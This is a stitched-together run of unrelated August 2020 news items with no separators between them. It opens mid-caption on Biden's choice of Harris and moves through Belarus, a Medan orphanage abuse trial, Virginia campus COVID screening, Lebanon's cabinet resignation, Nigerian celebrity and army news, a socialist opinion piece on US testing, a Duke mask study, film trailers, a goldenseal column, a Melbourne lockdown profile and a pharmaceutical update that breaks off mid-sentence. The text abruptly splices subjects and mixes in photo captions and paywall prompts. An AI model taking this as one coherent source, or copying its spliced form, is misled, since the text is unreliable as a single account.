Harris as his running mate. (AP Photo/John Locher, File) FILE - In this Nov. 8, 2019, file photo, then-Democratic presidential candidate Sen. Kamala Harris, D-Calif., reacts as she speaks at a town hall event at the Culinary Workers Union in Las Vegas. Democratic presidential candidate former Vice President Joe Biden has chosen Harris as his running mate. (AP Photo/John Locher, File) FILE - In this July 31, 2019, file photo, fFormer Vice President Joe Biden shakes hands with Sen. Kamala Harris, D-Calif., before the second of two Democratic presidential primary debates at the Fox Theatre in Detroit. Democratic presidential candidate former Vice President Joe Biden has chosen Harris as his running mate. (AP Photo/Paul Sancya, File) FILE - In this July 31, 2019, file photo, then-Democratic presidential candidate Sen. Kamala Harris, D-Calif., and Democratic presidential candidate former Vice President Joe Biden participate in the second of two Democratic presidential primary debates at the Fox Theatre in Detroit. Biden has chosen Harris as his running mate. (AP Photo/Paul Sancya, File) FILE - In this Jan. 9, 2019, file photo, kicking off her book tour, Sen. Kamala Harris, D-Calif., speaks at George Washington University in Washington. Democratic presidential candidate former Vice President Joe Biden has chosen Harris as his running mate. (AP Photo/Sait Serkan Gurbuz) FILE - In this Oct. 15, 2019, file photo, then-Democratic presidential candidate Sen. Kamala Harris, D-Calif., speaks during a Democratic presidential primary debate in Westerville, Ohio. Democratic presidential candidate former Vice President Joe Biden has chosen Harris as his running mate. (AP Photo/John Minchillo, File) (Newser) The opposition candidate in Belarus' disputed presidential election is no longer in the country, and a rep claims she was forced out. Svetlana Tikhanovskaya appeared Tuesday in a short video saying she'd opted to reunite with her children, who moved abroad after receiving threats during the campaign. "I know many people will understand me, many will judge me, and many will hate me but God forbid you will ever have to face the choice that I had to face," the 37-year-old said, per CNN. Lithuania's foreign minister confirmed she was in the country opposite Belarus' northwest border. A second video was then shared by a pro-government channel on the messaging app Telegram, showing Tikhanovskaya reading from a piece of paper. She called for an end to protestswhich have resulted in 3,000 arrests, per NBC Newssaying "the nation has made its choice." story continues below That immediately led to concern about her situation. A day earlier, the candidate had filed an official complaint disputing the report that she'd received just 10% of the vote, compared to 80% for President Alexander Lukashenko. Lukashenko is accused of ballot stuffing, and he also controls the vote count. The result will give him his sixth term since 1994. A rep for Tikhanovskaya claims she "had no choice" but to leave the country as team members were being "held hostage," per CNN. Nine people with ties to the campaign are said to have been arrested. The rep says Svetlana's move allowed for the release of campaign manager Maria Moroz, who left the country with Tikhanovskaya. "It is important that she is free and alive," the rep adds. Tikhanovskaya's husband, a political blogger who'd hoped to run for president, has been in detention since May. (Read more Belarus stories.) Share this article Whatsapp Facebook Twitter Linkedin Apriadi Gunawan (The Jakarta Post) Medan Tue, August 11, 2020 A director of Simpang Tiga orphanage in Medan Petisah district, Medan, North Sumatra is on trial at Medan District Court for allegedly raping a child under his care over the course of seven years. If convicted, the suspect, identified only by the initials ENS, faces up to 15 years in prison and a fine of up to Rp 5 billion (US$363,500) under the Child Protection Law. Social Affairs Ministry social worker Riri Novita Sari, who has been assisting the victim, said that the suspect had been sexually abusing the victim multiple times since she was 7 years old back in 2012. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Comprehensive COVID-19 screening, tracing, and rapid response capabilities are the foundation of reducing community spread of the virus and play a pivotal role in safely resuming activities. To prepare for fall instruction, universities across the Commonwealth of Virginia will deploy the COVID Health Check a COVID-19 symptom and exposure tracking tool developed by a team at the George Mason College of Health and Human Services, led by Dr. Amira Roess, professor of global health and epidemiology. Roess and collaborators were the first in the country to develop and launch a COVID-19 symptom and exposure tracker that collects real-time data, specifically to allow for rapid response. Roess and colleagues created the tool in March 2020, within days of the Centers for Disease Control and Prevention (CDC) declaring COVID-19 a global pandemic. The team from the College who collaborated on the original tool included: Dr. Rosemary Higgins, associate dean for research; Dr. Germaine Louis, dean; Dr. Cheryl Oetjen, associate professor of nursing; Dr. Carol Urban, associate dean for strategic initiatives and practice; and Dr. Janusz Wojtusiak, associate professor of Health Informatics and director of the Machine Learning and Inference Lab. Since its launch at Mason, the tool has helped the University detect early cases by tracking symptoms and possible exposure to the virus. Members of Masons community complete an assessment of symptoms and exposure using the Health Check, which provides a recommended course of action. Users also complete a Daily Symptoms Journal to provide on-going outbreak tracking which can help the university trace contacts when a member of the community test positive. Since the tools launch, more than 16,000 students, faculty, and staff have completed the assessment and more than 1,200 symptoms and exposures have been tracked. Roesss tool received great interest throughout Virginia and by June the Virginia Council of Presidents tapped Roess to lead efforts to share her teams tool so that all Virginia universities can adopt Masons COVID Health Check. Partners at The College of William and Marys Information Technology team worked with Roess to develop an interface to allow for rapid and large-scale adoption of Masons COVID Health Check across Virginias colleges. Screeningas provided through the Health Check is an essential first step to outbreak management. Without screening, early signs of cases might go undetected leading to a high risk of widespread outbreaks and likely closures. Early screening is critical to prevent community spread. A holistic response strategy includes identification of early cases through symptom and exposure screening, quarantine of exposed individuals, testing, isolation of the case, contact tracing to identify contacts, and quarantine of cases. Health Check is one component of Masons Safe Return to Campus testing protocol, which the College of Health and Human Services faculty helped develop with members of the Mason Student Health Services and Safety & Emergency Management teams. Prior to returning to campus, all students are asked to quarantine at home for 14 days and will take a COVID-19 test. Students will begin completing the Health Check seven days prior to return and complete it each day. While on campus, students, faculty, staff, and visitors will wear face coverings and practice social distancing and good hand hygiene. On-site testing will be available, and the University will conduct randomized testing throughout the academic year to detect infections in asymptomatic individuals, as a part of its surveillance testing plan. As a former epidemic intelligence officer for the CDC, Roess brings extensive experience in outbreak and emergency preparedness and response. She advises public and private organizations, including K-12, judicial systems, universities and businesses on how to safely resume operations. Roess also currently oversees several longitudinal studies to understand emergence and transmission of zoonotic infectious diseases globally, including the emergence and transmission of MERS-CoV (with support from the National Science Foundation), and COVID-19 antibody dynamics. Lebanese President Michel Aoun has accepted resignation of the cabinet led by Prime Minister Hassan Diab on Monday, the leaders press service said in a statement. "Prime Minister [Hassan] Diab have handed in his written resignation request to President Michel [Aoun], who accepted it and instructed his cabinet to carry out their duties before a new government is formed," the statement notes. In a conversation, the politicians discussed the latest developments in Lebanon after a major explosion rocked Beiruts seaport on August 4. The Lebanese leader thanked members of the resigned cabinet for the work they did. "God save Lebanon," Diab said when leaving the palace. In his final televised address to the nation earlier, he lamented that the "system of corruption turned out to be stronger than the state of Lebanon." "We were not pursuing any personal ambitions, but the circles that were in power for 30 years launched a campaign to harass the government and turned the nation against it," TASS cited him as saying. Diab explained that he hopes his move will unlock way to domestic political settlement in the country. Ex-Big Brother Naija Pepper Dem housemate, Ike Onyeama, on Tuesday, said that he was still in a romantic relationship with ex-housemate, Mercy Eke, but yet to be engaged in the traditional way. Mr Onyeama, who disclosed this during an interview with the News Agency of Nigeria, (NAN) in Lagos, is also a star of the Mercy and Ike show currently streaming on Showmax. He said the attitude of not posting Mercys pictures on his social media space and vice versa was a mere strategy to keep their individual fan base and brands strong. He noted that they had been very supportive of each others businesses as they intentionally minimised posting their individual pictures on their social media handles. We are still doing our thing, we have not officially done the engagement or moved in together yet, but she comes to my place every other day and I go to her place as well, Mr Onyeama said. We still go to each others house and try not to overdo it, maybe stay the night or two, but not too much, just because of tradition. When it comes to business, things have gotten a lot better, before it was more like all of us as ex-housemates were in a competition with each other, but now, everyone is finding their place and we are all comfortable helping each other out. I will say the Mercy & Ike show was like a blessing because before the show, we were both focused on our fan base and trying to keep our fan base strong, it was really an idea that promoting one another will weaken our brand. Like if I was to promote Mercy, it will weaken my brand or if she was to promote my brand it will weaken her brand, that is the kind of idea people were giving us. So, I am now going private, posting just myself and not showing anything about Mercy really calmed things down, he said. Mr Onyeama said he had been so busy lately, involved in the promotion of his clothing line, photography and acting. He said his dream business was party promotion as he would love to own a club but this had not been possible due to financial constraints. He noted that the lesson taken from the sudden outbreak of COVID-19 pandemic and the resultant lockdown was to be seriously engaged in activities that would drive in multiple streams of income. I am definitely interested in quite a few businesses, I have dreams of being in the electronics business, I have a clothing brand and a photography brand, I am selling perfume now and I just started a blog so I am spreading myself now, trying to get sources of income going. In an ideal world, my dream business is party promotion, I will love to own a club or some type of monthly event like the mainland block party, Mr Onyeama said. The Ex-BBNaija housemate expressed his excitement over being acknowledged and called for films currently and this was spurred by his performance in Tinsel auditioning, Diane Russets short film and two other small movies. I love the fact that they called me for the audition for Tinsel, I dont know if people had to see me to make it real because after it aired, everyone started calling and saying, so you are an actor, come and do this and that. So from Dianes short film to two other small movies I have done already, people have been calling me for roles, which feels really good, he said. Mr Onyeama said he had developed good relationships with most of his fellow housemates like Venita, Kim, Diane, Tacha, Jeff and Mike as they were related basically on business purposes. Those I talk to regularly are Venita, Kim, Mercy, Diane, Tacha, Jeff and Mike; we are all very close, they know that for me, I am all about the business, so usually when we are talking, it is business related talks. I really like that because it is like a network of people now, I dont have all the burden on my shoulders to go find work; they help me find work, especially Kim and Diane, even Mercy too, he said. The Ex-BBNaija housemate disclosed that he was presently in business collaboration with ex-housemate, Venita Akpofure, whom he described as highly creative with some good ideas. The collaboration has been really good, Venita has a whole different style from me when it comes to fashion and even decor, she has a lot going on business-wise scented candles, pre-shampoos, conditioners and so on. Advertisements We always talked about collaborating for the ice cream brand and her brand as far as designs. It is more of her helping with the designs, then we helping with the promotions, sales, and distributions, she really has some good ideas and creative stuff that I know, once it comes out, people will be like, wow, Mr Onyeama said. (NAN) On June 20, US President Donald Trump boasted of having told public health officials to reduce the number of tests for COVID-19, the disease that has infected 5.2 million Americans and killed over 166,000 since the start of the year. I said to my people, 'Slow the testing down, Trump declared. Three days later Trump added, Cases are going up in the US because we are testing far more With smaller testing we would show fewer cases! People wait in line outside of a COVID-19 testing site during the coronavirus pandemic, Thursday, July 16, 2020, in Opa-locka, Fla. (AP Photo/Lynne Sladky) Top US public health officials immediately sought to downplay Trumps comments, declaring that the US policy was to expand, not decrease, the amount of testing. But without any serious explanation by the government, the number of tests being done every day in the United States has dropped significantly over the past two weeks. On July 24, the United States conducted 926,876 tests, according to the COVID Tracking Project. But that figure had dropped to just 668,546 last Saturday. The average number of daily tests conducted fell from 809,200 in the week ending July 26, to 712,112 last week, a decline of 12 percent. At the same time, tests are often taking over a week to return, making them all but useless in tracking down and isolating those that are infected before the pandemic spreads even further. According to internal data from Quest diagnostics obtained by CNN, the total average turnaround time for results was 8.4 days. Public health experts say the level of testing in the US is far too low to contain the disease. An analysis from Ashish Jha and his team at the Harvard Global Health Institute recently showed that it would take 1.2 million tests per day, with results back in time to act on them, to stop the number of daily new infections from increasing. It would take 4.3 million tests per day, according to Jha, to actually suppress the pandemic. This is more than six times the current level of testing and more than four times the proclaimed goal of the Trump administration, which had been to reach one million coronavirus tests per day. Amid this massive shortage, US officials have admitted they are prioritizing tests for certain people. In particular, the wealthy and well-connected are able to take tests and get results within a day, while for ordinary workers results can take up to a week or more, if they are able to get them. Federal funding for testing and contact tracing, the only measures known to contain the pandemic, stands at less than one percent of total federal spending on the pandemic response with the vast majority going to bailouts for major corporations. Nationwide, there were just 28,000 contact tracers last month, less than one-tenth of the number called for by former Centers for Disease Control Director Tom Frieden. Trump has boasted, Over the past seven days, nationwide cases declined by 14 percent, but this decline is driven by the decline in testing. Moreover, last month the administration ordered hospitals to bypass the Centers for Disease Control and prevention and send all COVID-19 data to a centralized database in Washington, raising fears that the figures are being manipulated. Reports have abounded of discrepancies in state statistics. Last week, the state of California disclosed that as many as 300,000 health records, mostly related to COVID-19, had not been processed, leading the states top health official to resign. For workers, there is no systematic testing, even as they are forced into the factories in unsafe conditions. Autoworkers report being left in the dark by management about outbreaks at their plants, with workers who test positive simply disappearing without their co-workers being notified. A statement by the Rank-and-File Safety Committee Network gives a sense of this disaster: Work is becoming a daily horror movie. At Ford Dearborn Truck in Michigan last week, two people got sick, and they were whisked away and people on the line didnt know what was going on. At Fiat Chryslers Belvidere plant in Illinois, someone tested positive, and they were also snuck off the line by management. Amid the nationwide testing shortage, officials from both parties are pressing ahead with the drive to reopen schools, which is all but guaranteed to lead to a further escalation of the pandemic. While Trump is leading this campaign, it is supported by governors from both parties. New York Governor Andrew Cuomo, a Democrat, demanded this month that schools reopen throughout the state. The fall in US testing is part of a policy of malign neglect. As the World Socialist Web Site wrote in March, the US government is making a deliberate decision to minimize their response, to adopt an attitude of indifference to the spread of the virus. From the beginning, the US political establishment saw the pandemic as an economic, not a health problem. In late March, Congress passed, on a nearly unanimous basis, the so-called CARES Act, which sanctioned the multi-trillion dollar bailout of Wall Street by the Federal Reserve. Once the bailout was passed, the US political establishment demanded that workers get back on the job, despite the fact that the pandemic was raging throughout workplaces and the US lacked the testing and contact tracing infrastructure to contain the disease. As predicted by public health experts, this led to a major resurgence of the pandemic. Now, this campaign is entering a new phase with the reopening of schools, threatening another wave of infection and the lives of thousands of teachers, students and parents. As epidemiologist Michael T. Osterholm warned last week, [T]he next six months could make what we have experienced so far seem like just a warm-up to a greater catastrophe. With many schools and colleges starting, stores and businesses reopening, and the beginning of the indoor heating season, new case numbers will grow quickly. Serous public health experts are unanimous on how to stop the pandemic: Non-essential businesses must be closed, testing and contact tracing must be massively expanded many times over, and workers must be given the economic resources to stay away from workplaces. But all of these basic public health demands are contrary to the prerogatives of the ruling class, whose only concern is to get workers back into the factories and workplaces. If they die, they can be replaced with others desperate for work. The capitalist class and the politicians, media and police that defend it are ruthless in the defense of profits over human lives. The trillions that have been transferred to the super-rich must be seized back and the resources made available for mass testing and contact tracing, to protect doctors and nurses as they care for the sick and to provide aid for those forced to isolate and quarantine. Factories must be mobilized to make the necessary medical materials as part of a broader socialist program to meet the essential needs of working people for health care, housing, education and jobs. Fahadh Faasil is one of the most sought-after actors of the contemporary South Indian cinema. In a recent interview, the actor had revealed that he has been receiving offers from both the Tamil and Hindi film industries. Now, the latest reports suggest that Fahadh Faasil might soon team up with Nitesh Tiwari, the director of the Dangal. According to the reports published by a leading online portal, Fahadh is already in talks with Nitesh for an upcoming project. But nothing has been finalised yet. However, in a recent interview, the talented filmmaker was all praises for Fahadh Faasil's acting skills and film choices. He has also expressed his desire to work with the Maalik actor. \If things fall in place, Fahadh Faasil and Nitesh Tiwari might soon join hands for a project, which is more likely to be a pan-Indian film. In his interview, Fahadh had revealed that language is the barrier that prevents him from doing Hindi films. The actor has also remarked that he wishes to play a Malayali character in a Hindi film. As reported earlier, Fahadh Faasil is already in talks with some of the leading directors of Tamil cinema, including the veteran filmmaker Mani Ratnam. If things fall in place, the actor is in talks to play a prominent role in the Ponniyin Selvan director's much-anticipated OTT debut project, which is reportedly titled as Navarasa. When it comes to the Malayalam films, Fahadh Faasil will be next seen in Malik, the highly anticipated upcoming period-political thriller. The release of the movie, which marks the actor's second collaboration with the Take Off director Mahesh Narayanan, is pushed indefinitely due to the coronavirus scare. Fahadh Faasil will next join the sets of the upcoming crime drama Thankam, in which he plays a thief once again. He recently finished shooting for Mahesh Narayanan's experimental project, See You Soon. Also Read: Mammootty's One Is Not Getting An OTT Release, Confirms Director Santhosh Viswanath Drishyam 2: The Mohanlal-Jeethu Joseph Project To Start Rolling On September 7 The Chief of Army Staff, Tukur Buratai, at a meeting with President Muhammadu Buhari on Monday said that Boko Haram terrorists have been pushed out of all the north-eastern states save Borno State. The army chief, one of the nations military commanders whom some Nigerians have called for their sack, said the troops are sharing intelligence to rout the insurgents out of Borno. There are no Boko Haram terrorists in neighbouring states. They have been pushed out, and now cornered in Borno State, he said in a statement issued by presidential publicist, Garba Shehu. READ ALSO: We are coordinating with civil and traditional authorities, mobilising and reinforcing and all we need is patience. We will not relent, the statement quoted Mr Buratai as telling the president. While Mr Buratai held this view, as recently as May this year, Boko Haram terrorists attacked Dapchi, a community in Yobe State. They had earlier attacked another Babangida community in the state in February. President Buhari, on his part, told governors of the north-east region that his administration has not ceased to think about how to tackle the insecurity in the country. The president added that in the wake of security challenges in the region, the administration is launching new combat strategies and acquiring modern military equipment. Security will be restored to Borno State, the north-east and the nation at large, the president said. I assure you, the north-east governors, especially that of Borno, that we go to bed and wake up thinking about you, how to secure our country, that is the responsibility of every government. The president noted that the COVID-19 pandemic has made scarce resources even scarcer, thereby affecting the supply chain of military equipment and spare parts. But he assured that modern military equipment is being acquired. Some, he said, have been purchased, while others are underway. Our government is doing its best on the question of equipment and the military know(s). We have equipment coming from some countries. The acquisition of military wares and spares is not easy, especially if you are not the manufacturer, the presidency statement read. Likewise, the north-east governors, who spoke through Borno State governor, Babagana Zulum, said while the establishment of the North East Development Commission and the take-off of Mambilla Dam Power Project are laudable, the region has poor road networks. A large population in the region, especially in Borno State, have no access to their homes and farmlands, Mr Zulum said while calling for efforts to curtail the increasing trust deficit between the population and the armed forces. The meeting, which was held at the State House in Abuja, had in attendance the five north-eastern state governors, Vice President Yemi Osinbajo, the Chief of Defence Staff, the service chiefs, the Inspector-General of Police and the heads of intelligence agencies. CLEVELAND, Ohio Ohio youngsters heading back to the classroom amid the continued rise of coronavirus cases in the state and those looking for warmer options for fall and winter may want to steer clear of popular neck gaiters, according to a new study by Duke University. Scientists tested 14 types of face coverings and found that individuals should wear cotton face masks instead of neck gaiters, which are made of thin, stretchy material worn around your neck and extending above your nose. Duke scientists say gaiters may be worse than not wearing a mask at all. The neck gaiter is photo #11 above. Related: Scroll down for info on lots of masks you can order now Ohio Gov. Mike DeWine announced a face covering mandate last week for students headed back to in-person classes in grades K-12. In the study, Duke scientists found that easily accessible cotton masks are almost as effective as N-95 surgical masks. The study, which consisted of 14 types of face coverings, tested the ability of different materials to block virus-carrying droplets released from a persons mouth. According to a news release from the university, the study began with a request from a professor at Dukes medical school who was working to provide at-risk and underserved populations in Durham, N.C., with the most effective face coverings. A fitted N95 mask -- most commonly worn by hospital workers -- was the most effective, allowing no droplets at all to come out, while a breathable neck gaiter ranked worse than the no-mask control group. Gaiters are popular with kids and athletes because they are made from lightweight material and are easy to get on and off. But the exact reason why theyre so convenient, which is that they dont restrict air, is the reason why theyre not doing much of a job helping people, said Warren S. Warren, a professor of physics, chemistry, radiology and biomedical engineering at Duke and a co-author of the study. The high droplet count reported in the Duke study was linked to the neck gaiters porous fabric breaking up bigger particles into many little ones that are more likely to hang around in the air longer, making wearing them possibly counterproductive, according to the study. Buff, a company known for multifunctional head and neckwear, issued a public statement in April saying its products are not scientifically proven by the Center for Disease Control (CDC) and the World Health Organization (WHO) to be an effective protection during the pandemic. Buff performance head and neckwear are not intended to be used as medical-grade face masks or as a replacement for N95 respirators as effective measures to prevent disease, illness, or the spread of viruses, the statement said. Other types of face coverings that may fall into that category are bandanas and knitted masks, the study found. An N95 mask with an exhalation valve also failed to measure up. Warren said people can assess their own face coverings by holding it up to a light and blowing through it. If you can see through it or blow through it easily, Warren said it is not protecting anyone. Were not as a society going to be having everybody wear disposable N95 face masks, he said. Its not affordable, and its not reasonable. Experts with the World Health Organization have recommended fabric masks should ideally have three layers. Although the study was not a clinical trial Warren said its general conclusions still stand. But the broad take-home picture that some masks that you can easily get are better than others potentially has value in protecting everybody and getting us out of this awful situation, he said. Tons of mask options Mahesh Bhatt returns to direct the sequel of his 1991 film Sadak, starring Sanjay Dutt and Pooja Bhatt. This week, Netflix released the trailer of Hilary Swank's space film, Away. Swank plays an American astronaut Emma Green who is preparing to lead an international crew on the first mission to Mars. Other trailers include Adam Devine's Magic Camp, Warner Bros' Judas and the Black Messiah and Samir Tewari's Level 13. Heres a closer look at all the trailers released this week: Sadak 2 Almost three decades after Sadak hit the screens, director Mahesh Bhatt is gearing up for the release of its anticipated sequel. The trailer was launched today. Starring Sanjay Dutt, Alia Bhatt and Aditya Roy Kapur in the lead, the film is about the unlikely bond the trio form when they take on a road journey to the Kailash mountain. As they undertake a trip to self-realisation, a self-proclaimed guru (essayed by Makrand Deshpande), bays for blood. Produced by Vishesh Films and Fox Star Studios, the movie was originally scheduled to be released in cinemas on 10 July. The uncertainty around the reopening of theatres, which were shut down in the wake of coronavirus pandemic has pushed the makers to consider a digital release. Sadak 2 is scheduled to release on 28 August on Disney+Hotstar. Flesh Directed by Danish Aslam, Flesh sheds light on the complex world human trafficking victims, perpetrators and law enforcers all caught in the web of this diabolical trade. Swara Bhaskar plays a cop who is tasked to nab a racket and save young girls from a bleak future. Produced by War director Siddharth Anand, the crime drama also stars Akshay Oberoi, Yudhister, Vidya Malvade and Mahima Makwana. Flesh debuts on 21 August on Eros Now Away Hilary Swank and Josh Charles star in Away, an epic story of love and sacrifice from the visionary who brought you Friday Night Lights and Parenthood. pic.twitter.com/HJN1kzhXM9 Netflix (@netflix) August 10, 2020 Hilary Swank leads a batch of astronauts who have been chosen for the first manned mission to Mars in this sci-fi series. Swank's character Emma Green embarks on a 'treacherous mission to Mars in command of an international crew', leaving behind her husband and teenage daughter back home. Away will premiere on Netflix on 4 September. Magic Camp The real trick is to believe. Magic Camp is streaming Friday, exclusively on #DisneyPlus. pic.twitter.com/N22RRJpzce Disney+ (@disneyplus) August 10, 2020 With Magic Camp, Disney brings a comedy of youngsters finding their inner potential under the leadership of an unusual leader (very School of Rock). The comedy will see top two teams fighting for the title of some Top Hat Competition in a summer camp, called the Magic Camp. The film, directed by Mark Waters of Mean Girls fame, sees Adam DeVine as a down-and-out magician who rediscovers his love for the craft and reignites his career as he is helped by a group of misfit young campers. The film also stars Gillian Jacobs, Aldis Hodge, Josie Totah, Rochelle Aytes, Rosalind Chao, Michael Hitchcock, Rebecca Metz and Jeffrey Tambor. Magic Camp premieres on Disney+ on 14 August. Level 13 Directed by Samir Tewari, Level 13 features Anup Soni and Sandhya Mridul as a married couple. The trailer reveals that Soni has to attend an office party and convinces an unwilling spouse to accompany him. Soni is in for a surprise as his boss's wife is his ex-girlfriend from college, whom he had dumped. How things go from here will be the subject matter of The Short Cuts production. Level 13 is available on YouTube and Disney+ Hotstar from 11 August. Judas and the Black Messiah Watch the trailer for Judas and the Black Messiah, a movie about the betrayal & assassination of Fred Hampton, chairman of the Black Panther Party. Starring Daniel Kaluuya & LaKeith Stanfield. Only in theaters. You can murder a revolutionary, but you cant murder a revolution. pic.twitter.com/64CrTflFOy Warner Bros. Pictures (@wbpictures) August 6, 2020 The movie talks about the betrayal and assassination of Fred Hampton, who was a champion for the black community and the chairman of the Black Panther Party. The drama stars Daniel Kaluuya (Get Out, Black Mirror) in the lead and will release in the theatres in 2021. If youre a flatlander like me, it might be quite a while between your visits to the beautiful Alleghany Mountains of West Virginia. I am, in fact, a big fan of eastern West Virginia; its a fantastic place in the summer for natural history and more, especially, botany. I fell in love with the dark forests of this part of the country several years ago, where I also was involved in something of a mountain music pilgrimage. One of my ramblings was within the deep confines of Pocahontas County, about this time of year. Way on top of Back Allegheny, deep inside the Monongahela National Forest, thats where I headed. It was one of my greatest botanical adventures ever: a day of unusual plants (for me), mountain vistas and a magnificent beaver pond, along with associated little bogs, drippy places and cliffs. Yellowthroats and parula warblers were singing high in the oaks, and a gravelly creek gurgled nearby. I wandered downstream into a big patch of ramps (Allium tricoccum) in late bloom, already starting to ripen their little green capsules. Ramps, of course, are worth their own essay, but they are not the subject here. There was something else down there in the shade that was worth a look. It resembled a hairy mayapple, with two rounded, jaggedy, toothy leaves at the top of the stem. There were dozens of these plants in a thick patch there in the dappled light. The most conspicuous part of this scenery was a large, juicy, brilliant red raspberry-like fruit atop the herbs main stem. But this was no raspberry. This herbaceous species is widespread from New England down to Alabama, and west about as far as Missouri and Kansas. It likes deep, shady woods, and in the East is seen at relatively high elevations. The plants arise from tough, slender rhizomes that are bright yellow internally. Blooming in the spring, each plant produces one flower, about 2 inches across, featuring lots of whitish stamens, and pistils. No petals. Its an odd little flower: delicate and sort of drab, I think. But the fruit is a real showstopper. This plant is filled with various peculiar compounds that give it a quite bitter taste. For many, many years, this plant was used as a medicinal herb, the yellow rhizome in particular, and has ended up as one of the most important North American native species in traditional medicine. It turns out, however, that very little evidence supports claims of its medical efficacy. In fact, long-term consumption of it has been shown to be dangerous. Nevertheless, a tremendous legacy has developed around its use, which has, over the years, led to over-collection and an apparent (and serious) decrease in the number of known natural populations. (This might strike you as similar to the scenario involving ginseng, and there are some parallels. Of course, ginseng and our Mystery Plant are completely unrelated species.) If you use over-the-counter preparations of this plant for medicinal use, please be sure that what you are buying comes from sustainable, commercial plantings, and not from wild-dug plants. Answer: Goldenseal, Hydrastis canadensis. John Nelson is the retired curator of the A.C. Moore Herbarium at the University of South Carolina in Columbia. As a public service, the herbarium offers free plant identifications. For more information, visit herbarium.org, call (803) 777-8196 or email nelson@sc.edu. A mother-of-two who has been in lockdown since February revealed how she pulled her son out of daycare and has rarely left the home in order to protect her loved ones from COVID-19. Emilia Rossi, 38, is living through Melbourne's second coronavirus lockdown in a postcode where there are currently 200 active cases. However, she revealed to Daily Mail Australia, she has barely left her home since February as her daughter Olympia was just three months old when coronavirus gripped Australia. Mrs Rossi's mother is also 70 and lives across the road from the family-of-four. Emilia Rossi (pictured with her daughter Olympia), 38, is living through Melbourne's second coronavirus lockdown in a postcode where there are currently 200 active cases 'I never imagined I'd experience something like this in my lifetime,' she said. 'As soon as cases reached over 20 per day in Melbourne, we pulled Hercule from childcare, hubby stayed home, and we limited interactions with friends. 'Since day one, I've made sure to do what I can to avoid my baby and mother from getting sick.' Mrs Rossi said pulling her son out of daycare was an easy decision but she did worry about him missing his friends and structure. However her anxiousness and uncertainty over educators and what was happening with daycares overruled that. She said the family stopped the majority of their outings and while life has been different in 2020 the family is prepared to do what they need to do in order to survive COVID-19. Mrs Rossi, a digital marketer, said she and her husband Socrates had worked from home together before so that wasn't a shock and most of their purchases were transitioned to online. During the first lockdown Mrs Rossi said she experienced a mild case of anxiety and post-natal depression. Melbourne (pictured on August 11) and Mitchell Shire's second lockdown began on July 8 before Stage 4 restrictions, which included a curfew, was implemented on August 2 Mrs Rossi (pictured working with her daughter Olympia) revealed to Daily Mail Australia, she has barely left her home since February as her daughter Olympia was just three months old when coronavirus gripped Australia She said during Melbourne and Mitchell Shire's second lockdown on July 8 before Stage 4 restrictions, which included a curfew, was implemented on August 2, it was harder to stay positive. 'We're not going to let our guard down and are prepared to do this again if required,' she said. 'I have to keep reminding ourselves that humans are resilient and adapt to things a lot faster that we give ourselves credit for.' Another challenge she is having is staying up-to-date with the press conferences in Victoria every day about the state of the pandemic. She also said it was hard to keep two small children entertained over the last six months but she has managed. 'Some days I pull my hair out, other days I'm fine,' Mrs Rossi said. 'Thank goodness for an awesome hubby, an incredible coffee machine and being in an area with plenty of open space! If it were anything less, it would be a lot harder. Mrs Rossi and her husband Socrates pulled their son Hercule (pictured together) out of daycare when COVID-19 hit 20 cases per day in Melbourne Mrs Rossi said she is prepared to go into lockdown a third time in order to protect the lives of her children and her mother, who is 70 and lives opposite them 'I'm doing everything such as story time, creative time, screen time, exercise time, free time, cooking etc. Every day is different, it's hard, but it's awesome being together during this time.' Mrs Rossi said when restrictions started to ease the family did venture out more around their local area but didn't see friends and still continued to work and learn from home. She said it is overwhelming to think about all the impacts coronavirus has on people's lives outside of staying at home. 'The impact on the economy, the share market, the rental market, house prices, education and small businesses. The list goes on,' she said. 'There are so many areas being affected, and I don't think we have even witnessed the full extent of how damaging COVID-19 is to our lives. Mrs Rossi thanked her husband (pictured) for being so helpful while they worked from home together 'So we are doing, and will continue to do, what we need to be safe and as financially secure as possible.' However she has been left 'furious' at the people who still refuse to obey restrictions implemented by the Chief Health Officer. 'Its unbelievable that people in Melbourne still refuse to wear masks, ignore the rules and want to protest for their rights,' she wrote on social media on Sunday. 'For goodness sake stop being selfish and stay home.' She told Daily Mail Australia that she wouldn't be surprised if the people who broke rules would be sued if they caused harm and even death to others. However she said at the end of the day she and her family are OK and have the support they need. She urged anyone else who is struggling to reach out and seek medical advice. 'The support is there so no one should be ashamed to reach out if they need help,' she said. Newron Pharmaceuticals provides clinical and business update All evenamide pre-clinical studies requested by FDA completed and first clinical safety study initiated; on track to initiate evenamide Phase III program in 2021 In advanced evaluation of opportunities to broaden pipelineof treatments for central and peripheral nervous system diseases International conference call for investors and analysts today at 3:00 PM CET/ 9:00 AM ET Milan, Italy and Morristown, NJ, USA, August 11, 2020 - Newron Pharmaceuticals S.p.A. ("Newron") (SIX: NWRN, XETRA: NP5), a biopharmaceutical company focused on the development of novel therapies for patients with diseases of the central and peripheral nervous system, today provided a clinical and business update. Evenamide "Newron has made considerable progress with our lead clinical program, evenamide, potentially the first add-on therapy for the treatment of patients with symptoms of schizophrenia," said Stefan Weber, Newron's Chief Executive Officer. "Earlier this year we reached agreement with the U.S. Food and Drug Administration (FDA) on the design and conduct of evenamide explanatory studies to address potential safety issues they had raised. I am pleased to announce that we have now successfully completed the preclinical part of these studies and no toxicity issues were reported. Newron has now initiated the first clinical safety study (008)." Explanatory study 008 is a four-week, randomized, double-blind placebo controlled study designed to evaluate the safety, tolerability, EEG effects and preliminary efficacy of two fixed doses of evenamide (7.5 mg and 15 mg BID) in outpatients suffering from chronic schizophrenia receiving treatment with one of the leading second generation atypical antipsychotics. Newron intends to recruit approximately 120 patients into the study at study centers in the United States and India. As anticipated, the initiation of the study was delayed due to the limitations imposed by COVID-19. Nevertheless, enrollment is progressing well and investigators have already enrolled over 40 patients into the study. Contingent on COVID-19 restrictions not further constraining enrollment, results from the study are currently expected in Q1 2021 and, if positive, will form part of the package to prepare for the planned Phase III program with evenamide. Ravi Anand, Newron's Chief Medical Officer, added: "Enrollment to study 008 is proceeding rapidly despite the first site being initiated only a few weeks ago. Results from the study supporting good tolerability of evenamide in patients will be submitted to the FDA, once we have the data and as soon as feasible thereafter. Together with the preclinical results confirming absence of toxicity that have been submitted to the FDA already, the extensive explanatory study package should deliver robust, convincing clinical data to proceed with the next, pivotal phase of clinical development. We remain confident that the Phase III studies with evenamide will be initiated in Q2 2021. Study 008 is also designed to provide further evidence of efficacy for evenamide as an add-on therapy in patients suffering from 